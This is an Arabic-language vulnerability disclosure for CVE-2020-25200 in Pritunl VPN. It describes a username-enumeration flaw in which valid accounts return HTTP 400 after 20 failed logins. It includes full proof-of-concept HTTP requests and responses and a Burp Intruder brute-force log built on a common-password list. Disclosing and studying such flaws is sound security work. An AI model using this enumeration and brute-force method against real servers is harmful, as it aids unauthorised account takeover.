
pritunl-CVE-2020-25200
CVE-2020-25200
خادم Pritunl VPN - الإصدار المتأثر: Pritunl v1.29.2145.25 553bbd
=========================
يتيح برنامج Pritunl 1.29.2145.25 للمهاجمين تعداد أسماء مستخدمي VPN الصالحة عبر سلسلة من محاولات تسجيل الدخول إلى /auth/session. في البداية، سيرجع الخادم خطأ 401. لكن إذا كان اسم المستخدم صالحًا، فبعد 20 محاولة تسجيل دخول، سيبدأ الخادم في الاستجابة بخطأ 400. بينما ستستقبل أسماء المستخدمين غير الصالحة خطأ 401 إلى أجل غير مسمى.
=========================
لاستغلال هذه الثغرة، يحتاج المهاجم إلى بدء تخمين كلمة المرور (Brute-forcing) بشكل متكرر باستخدام نفس اسم المستخدم. في البداية، سيرجع الخادم خطأ 401، لكن بعد 20 محاولة، سيبدأ الخادم في إرجاع خطأ 400 إذا كان اسم المستخدم صالحًا. وإذا كان اسم المستخدم غير صالح، فسيستمر الخادم في إرجاع خطأ 401 إلى أجل غير مسمى. لذلك من الممكن التحقق من وجود اسم المستخدم من خلال استلام خطأ 400.
=========================
طلب واستجابة HTTP لاسم مستخدم صالح (بعد 20 محاولة):
POST /auth/session HTTP/1.1 Host: 192.168.1.18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 40 Origin: https://192.168.1.18 Connection: close Referer: https://192.168.1.18/login
{"username":"pritunl","password":"paul"}
HTTP/1.1 400 Bad Request Cache-Control: no-cache, no-store, must-revalidate Content-Length: 76 Content-Type: application/json Date: Thu, 03 Sep 2020 22:42:39 GMT Expires: 0 Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Connection: close
{"error_msg": "Too many authentication attempts.", "error": "auth_too_many"}
=========================
طلب واستجابة HTTP لاسم مستخدم غير صالح (بعد 20 محاولة):
POST /auth/session HTTP/1.1 Host: 192.168.1.18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 39 Origin: https://192.168.1.18 Connection: close Referer: https://192.168.1.18/login
{"username":"admin","password":"scott"}
HTTP/1.1 401 Unauthorized Cache-Control: no-cache, no-store, must-revalidate Content-Length: 83 Content-Type: application/json Date: Thu, 03 Sep 2020 22:42:43 GMT Expires: 0 Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Connection: close
{"error_msg": "Authentication credentials are not valid.", "error": "auth_invalid"}
========================= سجل Burp Intruder:
0 401 false false 370 1 123456 401 false false 370 2 password 401 false false 370 3 12345678 401 false false 370 4 qwerty 401 false false 370 5 123456789 401 false false 370 6 12345 401 false false 370 7 1234 401 false false 370 8 111111 401 false false 370 9 1234567 401 false false 370 10 dragon 401 false false 370 11 123123 401 false false 370 12 baseball 401 false false 370 13 abc123 401 false false 370 14 football 401 false false 370 15 monkey 401 false false 370 16 letmein 401 false false 370 17 696969 401 false false 370 18 shadow 401 false false 370 19 master 401 false false 370 20 666666 400 false false 362 <-------------- تغيّر طول الاستجابة ورمز الاستجابة 21 qwertyuiop 400 false false 362 22 123321 400 false false 362 23 mustang 400 false false 362 24 1234567890 400 false false 362 25 michael 400 false false 362 26 654321 400 false false 362 27 pussy 400 false false 362 28 superman 400 false false 362 29 1qaz2wsx 400 false false 362 30 7777777 400 false false 362 31 xxxxx 400 false false 362 32 121212 400 false false 362 33 000000 400 false false 362 34 qazwsx 400 false false 362 35 123qwe 400 false false 362 36 killer 400 false false 362 37 trustno1 400 false false 362 38 jordan 400 false false 362 39 jennifer 400 false false 362 40 zxcvbnm 400 false false 362 41 asdfgh 400 false false 362 42 hunter 400 false false 362
<>
=========================
الباحث الأمني - Lukasz Studniarz